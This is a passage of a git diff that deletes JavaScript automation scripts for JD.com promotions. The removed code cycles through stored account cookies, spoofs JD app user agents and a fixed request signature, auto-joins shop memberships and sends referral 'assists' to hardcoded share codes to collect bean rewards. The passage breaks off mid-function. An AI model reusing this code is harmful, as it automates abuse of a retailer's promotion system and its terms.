Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.msg}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lzdz1_bw.js b/backUp/jd_lzdz1_bw.js deleted file mode 100644 index 2255ebb..0000000 --- a/backUp/jd_lzdz1_bw.js +++ /dev/null @@ -1,536 +0,0 @@ -/* -时尚宠粉趴 -https://lzdz1-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b -**/ - -const $ = new Env("超店会员福利社"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_bw.json') - // if(authorCodeList === '404: Not Found'){ - // authorCodeList = [ - // '4c412298c8db40729fc1bd58ec7303a8', - // ] - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - console.log('更新ck'); - continue - } - authorCodeList = [ - '4c412298c8db40729fc1bd58ec7303a8', - '2adedd04268248169ca84452baf8cc2f', - '232bd57a88244e639bc918932ef2d54a', - 'd7b08eec1d644c61ab9d8d23b95cedaf', - 'd74b0422c29343c08b47e2dbccd73664', - '8f69476d09be48a8a9e2ec773673048b', - 'f1dedba4dce34b93aa5357358690669c', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = 'cfc218d9250d445a870b3c18b58b5475' - $.activityShopId = '1000015026' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await rush(); - await $.wait(1000) - console.log("重复执行一次,技术有限不知道为什么") - await rush(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - $.openStatusNum = 0 - await getFirstLZCK() - await getToken(); - await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力: "+$.authorCode) - await $.wait(1000) - await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(1000) - await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - for(let i in $.openInfo){ - console.log($.openInfo[i]) - if(!$.openInfo[i]['openStatus']){ - console.log("加入会员: "+$.openInfo[i]['venderId']) - await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) - await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) - await $.wait(1000) - } - } - console.log("关注店铺: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) - await $.wait(1000) - console.log("流览会场: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) - } - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityShopId = data.data.shopId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'fashion/recruit/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log("你的助力码 -> "+ownCode) - } - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case 'fashion/recruit/saveFirst': - if(data.result){ - console.log("获得抽奖次数") - } - break; - case 'fashion/recruit/saveTask': - console.log(data) - break; - case 'fashion/recruit/getInitInfo': - console.log(data) - break; - case 'fashion/recruit/initOpenCard': - $.openInfo = data.data.openInfo - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.venderId}&token=${$.token}&fromType=APP` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 